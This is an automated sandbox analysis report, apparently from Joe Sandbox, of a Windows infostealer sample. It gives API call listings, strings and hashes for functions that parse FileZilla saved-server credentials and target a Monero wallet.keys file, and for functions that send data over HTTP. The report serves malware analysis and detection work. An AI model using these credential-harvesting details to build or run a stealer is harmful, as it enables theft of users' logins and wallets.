Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6331a03af9104cb1b88425f346058f5ca125a77050b72ee3993e6ca9e193e56
Instruction ID: a254b1a64da2b467f6a94383ae17137000c610c1f189f1c66f17d29e7388c71a
Opcode Fuzzy Hash: f6331a03af9104cb1b88425f346058f5ca125a77050b72ee3993e6ca9e193e56
Instruction Fuzzy Hash: E45126F3A082109FE3049A2DEC55B6BB6DADBD4730F2B863DEA84D3340D9355C118696

Function 00E8EF21 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74b1baa0ab4de5bf0e0c657487dfba02ee2fbdc845f6261a3d0caf5ebdeab1da
Instruction ID: 22d09b9452b1c2bf10783807b7f643146f11b42fdb31ca4de20810783b73d52b
Opcode Fuzzy Hash: 74b1baa0ab4de5bf0e0c657487dfba02ee2fbdc845f6261a3d0caf5ebdeab1da
Instruction Fuzzy Hash: E04125F3E091106BE314992EEC4472ABBDBEBD4220F2B853DDA8897340ED765C194296

Function 00F5B0A1 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85fdddea22f57a54db044977eff50d4be2223033c07810e66a824e5ad1a0e62e
Instruction ID: ec664816b1ed69422281849aa6d23cb24729ed8b754ff8bf77746e707d382d0b
Opcode Fuzzy Hash: 85fdddea22f57a54db044977eff50d4be2223033c07810e66a824e5ad1a0e62e
Instruction Fuzzy Hash: 742108F7A8450D8BF354AA25EC4477B7387E7D0321F1BC639DA9483B88E93E88064245

Function 00BF9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00BF0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BF8E0B

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BFA7E6

Part of subcall function 00BE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BE99EC
Part of subcall function 00BE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BE9A11
Part of subcall function 00BE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00BE9A31
Part of subcall function 00BE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00BE148F,00000000), ref: 00BE9A5A
Part of subcall function 00BE99C0: LocalFree.KERNEL32(00BE148F), ref: 00BE9A90
Part of subcall function 00BE99C0: CloseHandle.KERNEL32(000000FF), ref: 00BE9A9A

Part of subcall function 00BF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BF8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00C00DBA,00C00DB7,00C00DB6,00C00DB3), ref: 00BF0362
RtlAllocateHeap.NTDLL(00000000), ref: 00BF0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00BF0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C00DB2), ref: 00BF0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00BF03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C00DB2), ref: 00BF03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00BF0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C00DB2), ref: 00BF0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00BF0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C00DB2), ref: 00BF0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C00DB2), ref: 00BF0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C00DB2), ref: 00BF051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C00DB2), ref: 00BF0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C00DB2), ref: 00BF054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00BF0562
lstrcat.KERNEL32(?,profile: null), ref: 00BF0571
lstrcat.KERNEL32(?,url: ), ref: 00BF0580
lstrcat.KERNEL32(?,00000000), ref: 00BF0593
lstrcat.KERNEL32(?,00C01678), ref: 00BF05A2
lstrcat.KERNEL32(?,00000000), ref: 00BF05B5
lstrcat.KERNEL32(?,00C0167C), ref: 00BF05C4
lstrcat.KERNEL32(?,login: ), ref: 00BF05D3
lstrcat.KERNEL32(?,00000000), ref: 00BF05E6
lstrcat.KERNEL32(?,00C01688), ref: 00BF05F5
lstrcat.KERNEL32(?,password: ), ref: 00BF0604
lstrcat.KERNEL32(?,00000000), ref: 00BF0617
lstrcat.KERNEL32(?,00C01698), ref: 00BF0626
lstrcat.KERNEL32(?,00C0169C), ref: 00BF0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C00DB2), ref: 00BF068E

Strings

<User>, xrefs: 00BF0410
profile: null, xrefs: 00BF0568
browser: FileZilla, xrefs: 00BF0559
<Host>, xrefs: 00BF037C
login: , xrefs: 00BF05CA
url: , xrefs: 00BF0577
<Pass encoding="base64">, xrefs: 00BF045A
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00BF02A4
<Port>, xrefs: 00BF03C6
password: , xrefs: 00BF05FB

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 08509a9bda8450c03d0db75fbe155d5e85cc54ba471663a63b42ed4ebf58df9e
Instruction ID: a27f96396f09c909d7a9ef76ca57aa1bbaf04a8637444217d32f06ba0d821ee8
Opcode Fuzzy Hash: 08509a9bda8450c03d0db75fbe155d5e85cc54ba471663a63b42ed4ebf58df9e
Instruction Fuzzy Hash: 10D10EB191010CABCB18EBE4DD56EFEB3B8EF14340F544568F606B7095DA74AA0ECB61

Function 00BE5960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BFA7E6

Part of subcall function 00BE47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00BE4839
Part of subcall function 00BE47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00BE4849

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00BE59F8
StrCmpCA.SHLWAPI(?,009BF440), ref: 00BE5A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BE5B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,009BF500,00000000,?,009BE6D8,00000000,?,00C01A1C), ref: 00BE5E71
lstrlen.KERNEL32(00000000), ref: 00BE5E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00BE5E93
RtlAllocateHeap.NTDLL(00000000), ref: 00BE5E9A
lstrlen.KERNEL32(00000000), ref: 00BE5EAF
lstrlen.KERNEL32(00000000), ref: 00BE5ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00BE5EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00BE5F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00BE5F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00BE5F4C
InternetCloseHandle.WININET(00000000), ref: 00BE5FB0
InternetCloseHandle.WININET(00000000), ref: 00BE5FBD
HttpOpenRequestA.WININET(00000000,009BF4C0,?,009BEC40,00000000,00000000,00400100,00000000), ref: 00BE5BF8

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

InternetCloseHandle.WININET(00000000), ref: 00BE5FC7

Strings

", xrefs: 00BE5E16
", xrefs: 00BE5CD5
------, xrefs: 00BE5A96
------, xrefs: 00BE5C0B
------, xrefs: 00BE5D4C

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: 30b211c67be22ab3fa7dd80280d58c669d70b90ff7aee1b233a51439bc347346
Instruction ID: c7367306d200bb6fd75f97bf8232e76f2ccbb2322c5a44cf6f0eb521161c438f
Opcode Fuzzy Hash: 30b211c67be22ab3fa7dd80280d58c669d70b90ff7aee1b233a51439bc347346
Instruction Fuzzy Hash: 8F12CEB182011CABDB19EBA4DC95FEEB3B8BF14740F5441A9B20A73091DF706A4ECB55

Function 00BECEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

Part of subcall function 00BF8B60: GetSystemTime.KERNEL32(00C00E1A,009BE6A8,00C005AE,?,?,00BE13F9,?,0000001A,00C00E1A,00000000,?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BF8B86

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00BECF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00BED0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00BED0CE
lstrcat.KERNEL32(?,00000000), ref: 00BED208
lstrcat.KERNEL32(?,00C01478), ref: 00BED217
lstrcat.KERNEL32(?,00000000), ref: 00BED22A
lstrcat.KERNEL32(?,00C0147C), ref: 00BED239
lstrcat.KERNEL32(?,00000000), ref: 00BED24C
lstrcat.KERNEL32(?,00C01480), ref: 00BED25B
lstrcat.KERNEL32(?,00000000), ref: 00BED26E
lstrcat.KERNEL32(?,00C01484), ref: 00BED27D
lstrcat.KERNEL32(?,00000000), ref: 00BED290
lstrcat.KERNEL32(?,00C01488), ref: 00BED29F
lstrcat.KERNEL32(?,00000000), ref: 00BED2B2
lstrcat.KERNEL32(?,00C0148C), ref: 00BED2C1
lstrcat.KERNEL32(?,00000000), ref: 00BED2D4
lstrcat.KERNEL32(?,00C01490), ref: 00BED2E3

Part of subcall function 00BFA820: lstrlen.KERNEL32(00BE4F05,?,?,00BE4F05,00C00DDE), ref: 00BFA82B
Part of subcall function 00BFA820: lstrcpy.KERNEL32(00C00DDE,00000000), ref: 00BFA885

lstrlen.KERNEL32(?), ref: 00BED32A
lstrlen.KERNEL32(?), ref: 00BED339

Part of subcall function 00BFAA70: StrCmpCA.SHLWAPI(009B8BB8,00BEA7A7,?,00BEA7A7,009B8BB8), ref: 00BFAA8F

DeleteFileA.KERNEL32(00000000), ref: 00BED3B4

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: 54732910fe23dc062c6229e9147990b0312dc7a275a15576dde859d04da74659
Instruction ID: d6aedd5e8ca3c7fe5652962946b81f8b60b0700feca549ef1b53fb79754902b2
Opcode Fuzzy Hash: 54732910fe23dc062c6229e9147990b0312dc7a275a15576dde859d04da74659
Instruction Fuzzy Hash: 25E1E4B19101099BCB18EBA5DD96EFE73B8AF14301F1441A4F606B7091DF756E0ECB62

Function 00BEC990 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,009BD560,00000000,?,00C0144C,00000000,?,?), ref: 00BECA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00BECA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00BECA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00BECAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00BECAD9
StrStrA.SHLWAPI(?,009BD578,00C00B52), ref: 00BECAF7
StrStrA.SHLWAPI(00000000,009BD590), ref: 00BECB1E
StrStrA.SHLWAPI(?,009BDDE0,00000000,?,00C01458,00000000,?,00000000,00000000,?,009B8B28,00000000,?,00C01454,00000000,?), ref: 00BECCA2
StrStrA.SHLWAPI(00000000,009BDD00), ref: 00BECCB9

Part of subcall function 00BEC820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00BEC871
Part of subcall function 00BEC820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00BEC87C

StrStrA.SHLWAPI(?,009BDD00,00000000,?,00C0145C,00000000,?,00000000,009B8B88), ref: 00BECD5A
StrStrA.SHLWAPI(00000000,009B89C8), ref: 00BECD71

Part of subcall function 00BEC820: lstrcat.KERNEL32(?,00C00B46), ref: 00BEC943
Part of subcall function 00BEC820: lstrcat.KERNEL32(?,00C00B47), ref: 00BEC957
Part of subcall function 00BEC820: lstrcat.KERNEL32(?,00C00B4E), ref: 00BEC978

lstrlen.KERNEL32(00000000), ref: 00BECE44
CloseHandle.KERNEL32(00000000), ref: 00BECE9C

Strings

, xrefs: 00BEC9C6

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeString
String ID:
API String ID: 3744635739-3916222277
Opcode ID: 74c3db2f1e8db3ad06192d0ff3c274647f14c5983abab218389267f8f6c65499
Instruction ID: c9f39013255d08fe7e7f504414881af27ee350f94fb57fefec3d3f0db40f4ccc
Opcode Fuzzy Hash: 74c3db2f1e8db3ad06192d0ff3c274647f14c5983abab218389267f8f6c65499
Instruction Fuzzy Hash: FEE1E2B190010CABDB18EBA4DC55FEEB7B8AF14340F4441A9F60A77191DF706A4ECB65
